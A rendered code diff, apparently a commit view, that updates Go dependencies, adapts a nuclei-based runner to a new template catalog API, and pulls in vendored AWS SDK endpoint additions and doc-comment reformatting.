    1159  -golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10 h1:WIoqL4EROvwiPdUtaip4VcDdpZ4kha7wBWZrbVKCIZg=
    1160  -golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
     1191 +golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
     1192 +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab h1:2QkjZIsXupsJbJIdSjjUOgWK3aEtzyuh2mPt3l/CkeU=
     1193 +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
    1161 1194  golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
    1162 1195  golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
    1163 1196  golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
    skipped 12 lines
    1176 1209  golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
    1177 1210  golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
    1178 1211  golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
    1179  -golang.org/x/time v0.0.0-20220411224347-583f2d630306 h1:+gHMid33q6pen7kv9xvT+JRinntgeXO2AeZVd0AWD3w=
    1180 1212  golang.org/x/time v0.0.0-20220411224347-583f2d630306/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
     1213 +golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 h1:ftMN5LMiBFjbzleLqtoBZk7KdJwhuybIU+FckUHgoyQ=
     1214 +golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
    1181 1215  golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
    1182 1216  golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
    1183 1217  golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
    skipped 50 lines
    1234 1268  golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
    1235 1269  golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
    1236 1270  golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
    1237  -golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 h1:BonxutuHCTL0rBDnZlKjpGIQFTjyUVTexFOdWkB6Fg0=
    1238 1271  golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
     1272 +golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
     1273 +golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
     1274 +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
    1239 1275  golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
    1240 1276  golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
    1241 1277  golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
    1242 1278  golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
    1243  -golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df h1:5Pf6pFKu98ODmgnpvkJ3kFUOQGGLIzLIkbzUHp47618=
    1244  -golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8=
    1245 1279  google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
    1246 1280  google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
    1247 1281  google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
    skipped 93 lines
    1341 1375  google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
    1342 1376  google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
    1343 1377  google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
    1344  -google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=
    1345 1378  google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
     1379 +google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
     1380 +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
    1346 1381  gopkg.in/alecthomas/kingpin.v2 v2.2.6 h1:jMFz6MfLP0/4fUyZle81rXUoxOBFi19VUFKVDOQfozc=
    1347 1382  gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
    1348 1383  gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
    skipped 7 lines
    1356 1391  gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
    1357 1392  gopkg.in/ini.v1 v1.42.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
    1358 1393  gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
     1394 +gopkg.in/ini.v1 v1.66.3/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
    1359 1395  gopkg.in/ini.v1 v1.66.4 h1:SsAcf+mM7mRZo2nJNGt8mZCjG8ZRaNGMURJw7BsIST4=
    1360 1396  gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
    1361 1397  gopkg.in/irc.v3 v3.1.4 h1:DYGMRFbtseXEh+NadmMUFzMraqyuUj4I3iWYFEzDZPc=
    skipped 36 lines
  • ■ ■ ■ ■ ■
    projectdiscovery/nuclei_Yaml/nclruner/runner/runner.go
    skipped 23 lines
    24 24   "github.com/projectdiscovery/gologger"
    25 25   "github.com/projectdiscovery/nuclei/v2/pkg/catalog"
    26 26   "github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
     27 + "github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk"
    27 28   "github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader"
    28 29   "github.com/projectdiscovery/nuclei/v2/pkg/core"
    29 30   "github.com/projectdiscovery/nuclei/v2/pkg/core/inputs/hybrid"
    skipped 28 lines
    58 59   templatesConfig *config.Config
    59 60   options *types.Options
    60 61   projectFile *projectfile.ProjectFile
    61  - catalog *catalog.Catalog
     62 + catalog catalog.Catalog
    62 63   progress progress.Progress
    63 64   colorizer aurora.Aurora
    64 65   issuesClient *reporting.Client
    skipped 45 lines
    110 111   runner.browser = browser
    111 112   }
    112 113   
    113  - runner.catalog = catalog.New(runner.options.TemplatesDirectory)
     114 + runner.catalog = disk.NewCatalog(runner.options.TemplatesDirectory)
    114 115   
    115 116   var httpclient *retryablehttp.Client
    116 117   if options.ProxyInternal && types.ProxyURL != "" || types.ProxySocksURL != "" {
    skipped 546 lines
  • ■ ■ ■ ■
    projectdiscovery/nuclei_Yaml/nclruner/runner/templates.go
    skipped 12 lines
    13 13  )
    14 14   
    15 15  func (r *Runner) logAvailableTemplate(tplPath string) {
    16  - t, err := parsers.ParseTemplate(tplPath)
     16 + t, err := parsers.ParseTemplate(tplPath, r.catalog)
    17 17   if err != nil {
    18 18   gologger.Error().Msgf("Could not parse file '%s': %s\n", tplPath, err)
    19 19   } else {
    skipped 44 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/aws/aws-sdk-go/aws/endpoints/decode.go
    skipped 30 lines
    31 31  // allow you to get a list of the partitions in the order the endpoints
    32 32  // will be resolved in.
    33 33  //
    34  -// resolver, err := endpoints.DecodeModel(reader)
     34 +// resolver, err := endpoints.DecodeModel(reader)
    35 35  //
    36  -// partitions := resolver.(endpoints.EnumPartitions).Partitions()
    37  -// for _, p := range partitions {
    38  -// // ... inspect partitions
    39  -// }
     36 +// partitions := resolver.(endpoints.EnumPartitions).Partitions()
     37 +// for _, p := range partitions {
     38 +// // ... inspect partitions
     39 +// }
    40 40  func DecodeModel(r io.Reader, optFns ...func(*DecodeModelOptions)) (Resolver, error) {
    41 41   var opts DecodeModelOptions
    42 42   opts.Set(optFns...)
    skipped 152 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/aws/aws-sdk-go/aws/endpoints/defaults.go
    skipped 2389 lines
    2390 2390   Hostname: "appmesh.ap-northeast-2.api.aws",
    2391 2391   },
    2392 2392   endpointKey{
     2393 + Region: "ap-northeast-3",
     2394 + }: endpoint{},
     2395 + endpointKey{
     2396 + Region: "ap-northeast-3",
     2397 + Variant: dualStackVariant,
     2398 + }: endpoint{
     2399 + Hostname: "appmesh.ap-northeast-3.api.aws",
     2400 + },
     2401 + endpointKey{
    2393 2402   Region: "ap-south-1",
    2394 2403   }: endpoint{},
    2395 2404   endpointKey{
    skipped 19 lines
    2415 2424   Variant: dualStackVariant,
    2416 2425   }: endpoint{
    2417 2426   Hostname: "appmesh.ap-southeast-2.api.aws",
     2427 + },
     2428 + endpointKey{
     2429 + Region: "ap-southeast-3",
     2430 + }: endpoint{},
     2431 + endpointKey{
     2432 + Region: "ap-southeast-3",
     2433 + Variant: dualStackVariant,
     2434 + }: endpoint{
     2435 + Hostname: "appmesh.ap-southeast-3.api.aws",
    2418 2436   },
    2419 2437   endpointKey{
    2420 2438   Region: "ca-central-1",
    skipped 816 lines
    3237 3255   }: endpoint{},
    3238 3256   endpointKey{
    3239 3257   Region: "us-west-1",
     3258 + }: endpoint{},
     3259 + endpointKey{
     3260 + Region: "us-west-2",
     3261 + }: endpoint{},
     3262 + },
     3263 + },
     3264 + "backupstorage": service{
     3265 + Endpoints: serviceEndpoints{
     3266 + endpointKey{
     3267 + Region: "eu-west-1",
     3268 + }: endpoint{},
     3269 + endpointKey{
     3270 + Region: "us-east-1",
     3271 + }: endpoint{},
     3272 + endpointKey{
     3273 + Region: "us-east-2",
    3240 3274   }: endpoint{},
    3241 3275   endpointKey{
    3242 3276   Region: "us-west-2",
    skipped 1987 lines
    5230 5264   "compute-optimizer": service{
    5231 5265   Endpoints: serviceEndpoints{
    5232 5266   endpointKey{
     5267 + Region: "af-south-1",
     5268 + }: endpoint{
     5269 + Hostname: "compute-optimizer.af-south-1.amazonaws.com",
     5270 + CredentialScope: credentialScope{
     5271 + Region: "af-south-1",
     5272 + },
     5273 + },
     5274 + endpointKey{
     5275 + Region: "ap-east-1",
     5276 + }: endpoint{
     5277 + Hostname: "compute-optimizer.ap-east-1.amazonaws.com",
     5278 + CredentialScope: credentialScope{
     5279 + Region: "ap-east-1",
     5280 + },
     5281 + },
     5282 + endpointKey{
    5233 5283   Region: "ap-northeast-1",
    5234 5284   }: endpoint{
    5235 5285   Hostname: "compute-optimizer.ap-northeast-1.amazonaws.com",
    skipped 10 lines
    5246 5296   },
    5247 5297   },
    5248 5298   endpointKey{
     5299 + Region: "ap-northeast-3",
     5300 + }: endpoint{
     5301 + Hostname: "compute-optimizer.ap-northeast-3.amazonaws.com",
     5302 + CredentialScope: credentialScope{
     5303 + Region: "ap-northeast-3",
     5304 + },
     5305 + },
     5306 + endpointKey{
    5249 5307   Region: "ap-south-1",
    5250 5308   }: endpoint{
    5251 5309   Hostname: "compute-optimizer.ap-south-1.amazonaws.com",
    skipped 42 lines
    5294 5352   },
    5295 5353   },
    5296 5354   endpointKey{
     5355 + Region: "eu-south-1",
     5356 + }: endpoint{
     5357 + Hostname: "compute-optimizer.eu-south-1.amazonaws.com",
     5358 + CredentialScope: credentialScope{
     5359 + Region: "eu-south-1",
     5360 + },
     5361 + },
     5362 + endpointKey{
    5297 5363   Region: "eu-west-1",
    5298 5364   }: endpoint{
    5299 5365   Hostname: "compute-optimizer.eu-west-1.amazonaws.com",
    skipped 18 lines
    5318 5384   },
    5319 5385   },
    5320 5386   endpointKey{
     5387 + Region: "me-south-1",
     5388 + }: endpoint{
     5389 + Hostname: "compute-optimizer.me-south-1.amazonaws.com",
     5390 + CredentialScope: credentialScope{
     5391 + Region: "me-south-1",
     5392 + },
     5393 + },
     5394 + endpointKey{
    5321 5395   Region: "sa-east-1",
    5322 5396   }: endpoint{
    5323 5397   Hostname: "compute-optimizer.sa-east-1.amazonaws.com",
    skipped 5081 lines
    10405 10479   }: endpoint{},
    10406 10480   },
    10407 10481   },
     10482 + "geo": service{
     10483 + Endpoints: serviceEndpoints{
     10484 + endpointKey{
     10485 + Region: "ap-northeast-1",
     10486 + }: endpoint{},
     10487 + endpointKey{
     10488 + Region: "ap-southeast-1",
     10489 + }: endpoint{},
     10490 + endpointKey{
     10491 + Region: "ap-southeast-2",
     10492 + }: endpoint{},
     10493 + endpointKey{
     10494 + Region: "eu-central-1",
     10495 + }: endpoint{},
     10496 + endpointKey{
     10497 + Region: "eu-north-1",
     10498 + }: endpoint{},
     10499 + endpointKey{
     10500 + Region: "eu-west-1",
     10501 + }: endpoint{},
     10502 + endpointKey{
     10503 + Region: "us-east-1",
     10504 + }: endpoint{},
     10505 + endpointKey{
     10506 + Region: "us-east-2",
     10507 + }: endpoint{},
     10508 + endpointKey{
     10509 + Region: "us-west-2",
     10510 + }: endpoint{},
     10511 + },
     10512 + },
    10408 10513   "glacier": service{
    10409 10514   Defaults: endpointDefaults{
    10410 10515   defaultKey{}: endpoint{
    skipped 408 lines
    10819 10924   }: endpoint{},
    10820 10925   endpointKey{
    10821 10926   Region: "ap-northeast-2",
     10927 + }: endpoint{},
     10928 + endpointKey{
     10929 + Region: "ap-southeast-1",
    10822 10930   }: endpoint{},
    10823 10931   endpointKey{
    10824 10932   Region: "ap-southeast-2",
    skipped 1606 lines
    12431 12539   Region: "ap-southeast-2",
    12432 12540   }: endpoint{},
    12433 12541   endpointKey{
     12542 + Region: "ap-southeast-3",
     12543 + }: endpoint{},
     12544 + endpointKey{
    12434 12545   Region: "ca-central-1",
    12435 12546   }: endpoint{},
    12436 12547   endpointKey{
    skipped 1005 lines
    13442 13553   },
    13443 13554   },
    13444 13555   },
     13556 + "license-manager-user-subscriptions": service{
     13557 + Endpoints: serviceEndpoints{
     13558 + endpointKey{
     13559 + Region: "af-south-1",
     13560 + }: endpoint{},
     13561 + endpointKey{
     13562 + Region: "ap-east-1",
     13563 + }: endpoint{},
     13564 + endpointKey{
     13565 + Region: "ap-northeast-1",
     13566 + }: endpoint{},
     13567 + endpointKey{
     13568 + Region: "ap-northeast-2",
     13569 + }: endpoint{},
     13570 + endpointKey{
     13571 + Region: "ap-northeast-3",
     13572 + }: endpoint{},
     13573 + endpointKey{
     13574 + Region: "ap-south-1",
     13575 + }: endpoint{},
     13576 + endpointKey{
     13577 + Region: "ap-southeast-1",
     13578 + }: endpoint{},
     13579 + endpointKey{
     13580 + Region: "ap-southeast-2",
     13581 + }: endpoint{},
     13582 + endpointKey{
     13583 + Region: "ca-central-1",
     13584 + }: endpoint{},
     13585 + endpointKey{
     13586 + Region: "eu-central-1",
     13587 + }: endpoint{},
     13588 + endpointKey{
     13589 + Region: "eu-north-1",
     13590 + }: endpoint{},
     13591 + endpointKey{
     13592 + Region: "eu-south-1",
     13593 + }: endpoint{},
     13594 + endpointKey{
     13595 + Region: "eu-west-1",
     13596 + }: endpoint{},
     13597 + endpointKey{
     13598 + Region: "eu-west-2",
     13599 + }: endpoint{},
     13600 + endpointKey{
     13601 + Region: "eu-west-3",
     13602 + }: endpoint{},
     13603 + endpointKey{
     13604 + Region: "fips-us-east-1",
     13605 + }: endpoint{
     13606 + Hostname: "license-manager-user-subscriptions-fips.us-east-1.amazonaws.com",
     13607 + CredentialScope: credentialScope{
     13608 + Region: "us-east-1",
     13609 + },
     13610 + Deprecated: boxedTrue,
     13611 + },
     13612 + endpointKey{
     13613 + Region: "fips-us-east-2",
     13614 + }: endpoint{
     13615 + Hostname: "license-manager-user-subscriptions-fips.us-east-2.amazonaws.com",
     13616 + CredentialScope: credentialScope{
     13617 + Region: "us-east-2",
     13618 + },
     13619 + Deprecated: boxedTrue,
     13620 + },
     13621 + endpointKey{
     13622 + Region: "fips-us-west-1",
     13623 + }: endpoint{
     13624 + Hostname: "license-manager-user-subscriptions-fips.us-west-1.amazonaws.com",
     13625 + CredentialScope: credentialScope{
     13626 + Region: "us-west-1",
     13627 + },
     13628 + Deprecated: boxedTrue,
     13629 + },
     13630 + endpointKey{
     13631 + Region: "fips-us-west-2",
     13632 + }: endpoint{
     13633 + Hostname: "license-manager-user-subscriptions-fips.us-west-2.amazonaws.com",
     13634 + CredentialScope: credentialScope{
     13635 + Region: "us-west-2",
     13636 + },
     13637 + Deprecated: boxedTrue,
     13638 + },
     13639 + endpointKey{
     13640 + Region: "me-south-1",
     13641 + }: endpoint{},
     13642 + endpointKey{
     13643 + Region: "sa-east-1",
     13644 + }: endpoint{},
     13645 + endpointKey{
     13646 + Region: "us-east-1",
     13647 + }: endpoint{},
     13648 + endpointKey{
     13649 + Region: "us-east-1",
     13650 + Variant: fipsVariant,
     13651 + }: endpoint{
     13652 + Hostname: "license-manager-user-subscriptions-fips.us-east-1.amazonaws.com",
     13653 + },
     13654 + endpointKey{
     13655 + Region: "us-east-2",
     13656 + }: endpoint{},
     13657 + endpointKey{
     13658 + Region: "us-east-2",
     13659 + Variant: fipsVariant,
     13660 + }: endpoint{
     13661 + Hostname: "license-manager-user-subscriptions-fips.us-east-2.amazonaws.com",
     13662 + },
     13663 + endpointKey{
     13664 + Region: "us-west-1",
     13665 + }: endpoint{},
     13666 + endpointKey{
     13667 + Region: "us-west-1",
     13668 + Variant: fipsVariant,
     13669 + }: endpoint{
     13670 + Hostname: "license-manager-user-subscriptions-fips.us-west-1.amazonaws.com",
     13671 + },
     13672 + endpointKey{
     13673 + Region: "us-west-2",
     13674 + }: endpoint{},
     13675 + endpointKey{
     13676 + Region: "us-west-2",
     13677 + Variant: fipsVariant,
     13678 + }: endpoint{
     13679 + Hostname: "license-manager-user-subscriptions-fips.us-west-2.amazonaws.com",
     13680 + },
     13681 + },
     13682 + },
    13445 13683   "lightsail": service{
    13446 13684   Endpoints: serviceEndpoints{
    13447 13685   endpointKey{
    skipped 2256 lines
    15704 15942   Region: "ap-southeast-2",
    15705 15943   }: endpoint{},
    15706 15944   endpointKey{
     15945 + Region: "ap-southeast-3",
     15946 + }: endpoint{},
     15947 + endpointKey{
    15707 15948   Region: "ca-central-1",
    15708 15949   }: endpoint{},
    15709 15950   endpointKey{
    skipped 173 lines
    15883 16124   Region: "ap-southeast-2",
    15884 16125   }: endpoint{},
    15885 16126   endpointKey{
     16127 + Region: "ap-southeast-3",
     16128 + }: endpoint{},
     16129 + endpointKey{
    15886 16130   Region: "ca-central-1",
    15887 16131   }: endpoint{},
    15888 16132   endpointKey{
    skipped 4009 lines
    19898 20142   Region: "ap-northeast-2",
    19899 20143   }: endpoint{},
    19900 20144   endpointKey{
     20145 + Region: "ap-northeast-3",
     20146 + }: endpoint{},
     20147 + endpointKey{
    19901 20148   Region: "ap-south-1",
    19902 20149   }: endpoint{},
    19903 20150   endpointKey{
    skipped 1 lines
    19905 20152   }: endpoint{},
    19906 20153   endpointKey{
    19907 20154   Region: "ap-southeast-2",
     20155 + }: endpoint{},
     20156 + endpointKey{
     20157 + Region: "ap-southeast-3",
    19908 20158   }: endpoint{},
    19909 20159   endpointKey{
    19910 20160   Region: "ca-central-1",
    skipped 5172 lines
    25083 25333   Region: "cn-north-1",
    25084 25334   }: endpoint{},
    25085 25335   endpointKey{
     25336 + Region: "cn-north-1",
     25337 + Variant: dualStackVariant,
     25338 + }: endpoint{
     25339 + Hostname: "firehose.cn-north-1.api.amazonwebservices.com.cn",
     25340 + },
     25341 + endpointKey{
    25086 25342   Region: "cn-northwest-1",
    25087 25343   }: endpoint{},
     25344 + endpointKey{
     25345 + Region: "cn-northwest-1",
     25346 + Variant: dualStackVariant,
     25347 + }: endpoint{
     25348 + Hostname: "firehose.cn-northwest-1.api.amazonwebservices.com.cn",
     25349 + },
    25088 25350   },
    25089 25351   },
    25090 25352   "fms": service{
    skipped 3734 lines
    28825 29087   }: endpoint{},
    28826 29088   endpointKey{
    28827 29089   Region: "us-gov-east-1",
     29090 + Variant: dualStackVariant,
     29091 + }: endpoint{
     29092 + Hostname: "lambda.us-gov-east-1.api.aws",
     29093 + },
     29094 + endpointKey{
     29095 + Region: "us-gov-east-1",
    28828 29096   Variant: fipsVariant,
    28829 29097   }: endpoint{
    28830 29098   Hostname: "lambda-fips.us-gov-east-1.amazonaws.com",
    skipped 1 lines
    28832 29100   endpointKey{
    28833 29101   Region: "us-gov-west-1",
    28834 29102   }: endpoint{},
     29103 + endpointKey{
     29104 + Region: "us-gov-west-1",
     29105 + Variant: dualStackVariant,
     29106 + }: endpoint{
     29107 + Hostname: "lambda.us-gov-west-1.api.aws",
     29108 + },
    28835 29109   endpointKey{
    28836 29110   Region: "us-gov-west-1",
    28837 29111   Variant: fipsVariant,
    skipped 2914 lines
    31752 32026   Endpoints: serviceEndpoints{
    31753 32027   endpointKey{
    31754 32028   Region: "us-iso-east-1",
     32029 + }: endpoint{},
     32030 + endpointKey{
     32031 + Region: "us-iso-west-1",
    31755 32032   }: endpoint{},
    31756 32033   },
    31757 32034   },
    skipped 629 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/aws/aws-sdk-go/aws/endpoints/doc.go
    skipped 8 lines
    9 9  // AWS GovCloud (US) (aws-us-gov).
    10 10  // .
    11 11  //
    12  -// Enumerating Regions and Endpoint Metadata
     12 +// # Enumerating Regions and Endpoint Metadata
    13 13  //
    14 14  // Casting the Resolver returned by DefaultResolver to a EnumPartitions interface
    15 15  // will allow you to get access to the list of underlying Partitions with the
    skipped 1 lines
    17 17  // resolving to a single partition, or enumerate regions, services, and endpoints
    18 18  // in the partition.
    19 19  //
    20  -// resolver := endpoints.DefaultResolver()
    21  -// partitions := resolver.(endpoints.EnumPartitions).Partitions()
     20 +// resolver := endpoints.DefaultResolver()
     21 +// partitions := resolver.(endpoints.EnumPartitions).Partitions()
    22 22  //
    23  -// for _, p := range partitions {
    24  -// fmt.Println("Regions for", p.ID())
    25  -// for id, _ := range p.Regions() {
    26  -// fmt.Println("*", id)
    27  -// }
     23 +// for _, p := range partitions {
     24 +// fmt.Println("Regions for", p.ID())
     25 +// for id, _ := range p.Regions() {
     26 +// fmt.Println("*", id)
     27 +// }
    28 28  //
    29  -// fmt.Println("Services for", p.ID())
    30  -// for id, _ := range p.Services() {
    31  -// fmt.Println("*", id)
    32  -// }
    33  -// }
     29 +// fmt.Println("Services for", p.ID())
     30 +// for id, _ := range p.Services() {
     31 +// fmt.Println("*", id)
     32 +// }
     33 +// }
    34 34  //
    35  -// Using Custom Endpoints
     35 +// # Using Custom Endpoints
    36 36  //
    37 37  // The endpoints package also gives you the ability to use your own logic how
    38 38  // endpoints are resolved. This is a great way to define a custom endpoint
    skipped 8 lines
    47 47  // of Resolver.EndpointFor, converting it to a type that satisfies the
    48 48  // Resolver interface.
    49 49  //
     50 +// myCustomResolver := func(service, region string, optFns ...func(*endpoints.Options)) (endpoints.ResolvedEndpoint, error) {
     51 +// if service == endpoints.S3ServiceID {
     52 +// return endpoints.ResolvedEndpoint{
     53 +// URL: "s3.custom.endpoint.com",
     54 +// SigningRegion: "custom-signing-region",
     55 +// }, nil
     56 +// }
    50 57  //
    51  -// myCustomResolver := func(service, region string, optFns ...func(*endpoints.Options)) (endpoints.ResolvedEndpoint, error) {
    52  -// if service == endpoints.S3ServiceID {
    53  -// return endpoints.ResolvedEndpoint{
    54  -// URL: "s3.custom.endpoint.com",
    55  -// SigningRegion: "custom-signing-region",
    56  -// }, nil
    57  -// }
     58 +// return endpoints.DefaultResolver().EndpointFor(service, region, optFns...)
     59 +// }
    58 60  //
    59  -// return endpoints.DefaultResolver().EndpointFor(service, region, optFns...)
    60  -// }
    61  -//
    62  -// sess := session.Must(session.NewSession(&aws.Config{
    63  -// Region: aws.String("us-west-2"),
    64  -// EndpointResolver: endpoints.ResolverFunc(myCustomResolver),
    65  -// }))
     61 +// sess := session.Must(session.NewSession(&aws.Config{
     62 +// Region: aws.String("us-west-2"),
     63 +// EndpointResolver: endpoints.ResolverFunc(myCustomResolver),
     64 +// }))
    66 65  package endpoints
    67 66   
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/aws/aws-sdk-go/aws/endpoints/endpoints.go
    skipped 352 lines
    353 353  // as the second parameter.
    354 354  //
    355 355  // This example shows how to get the regions for DynamoDB in the AWS partition.
    356  -// rs, exists := endpoints.RegionsForService(endpoints.DefaultPartitions(), endpoints.AwsPartitionID, endpoints.DynamodbServiceID)
     356 +//
     357 +// rs, exists := endpoints.RegionsForService(endpoints.DefaultPartitions(), endpoints.AwsPartitionID, endpoints.DynamodbServiceID)
    357 358  //
    358 359  // This is equivalent to using the partition directly.
    359  -// rs := endpoints.AwsPartition().Services()[endpoints.DynamodbServiceID].Regions()
     360 +//
     361 +// rs := endpoints.AwsPartition().Services()[endpoints.DynamodbServiceID].Regions()
    360 362  func RegionsForService(ps []Partition, partitionID, serviceID string) (map[string]Region, bool) {
    361 363   for _, p := range ps {
    362 364   if p.ID() != partitionID {
    skipped 60 lines
    423 425  // of new regions and services expansions.
    424 426  //
    425 427  // Errors that can be returned.
    426  -// * UnknownServiceError
    427  -// * UnknownEndpointError
     428 +// - UnknownServiceError
     429 +// - UnknownEndpointError
    428 430  func (p Partition) EndpointFor(service, region string, opts ...func(*Options)) (ResolvedEndpoint, error) {
    429 431   return p.p.EndpointFor(service, region, opts...)
    430 432  }
    skipped 277 lines
  • ■ ■ ■ ■
    vendor/github.com/aws/aws-sdk-go/aws/version.go
    skipped 4 lines
    5 5  const SDKName = "aws-sdk-go"
    6 6   
    7 7  // SDKVersion is the version of this SDK
    8  -const SDKVersion = "1.44.60"
     8 +const SDKVersion = "1.44.77"
    9 9   
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/caddyserver/certmagic/README.md
    skipped 444 lines
    445 445   
    446 446  The notion of a "cluster" or "fleet" of instances that may be serving the same site and sharing certificates, etc, is tied to storage. Simply, any instances that use the same storage facilities are considered part of the cluster. So if you deploy 100 instances of CertMagic behind a load balancer, they are all part of the same cluster if they share the same storage configuration. Sharing storage could be mounting a shared folder, or implementing some other distributed storage system such as a database server or KV store.
    447 447   
    448  -The easiest way to change the storage being used is to set `certmagic.DefaultStorage` to a value that satisfies the [Storage interface](https://pkg.go.dev/github.com/caddyserver/certmagic?tab=doc#Storage). Keep in mind that a valid `Storage` must be able to implement some operations atomically in order to provide locking and synchronization.
     448 +The easiest way to change the storage being used is to set `certmagic.Default.Storage` to a value that satisfies the [Storage interface](https://pkg.go.dev/github.com/caddyserver/certmagic?tab=doc#Storage). Keep in mind that a valid `Storage` must be able to implement some operations atomically in order to provide locking and synchronization.
    449 449   
    450 450  If you write a Storage implementation, please add it to the [project wiki](https://github.com/caddyserver/certmagic/wiki/Storage-Implementations) so people can find it!
    451 451   
    skipped 2 lines
    454 454   
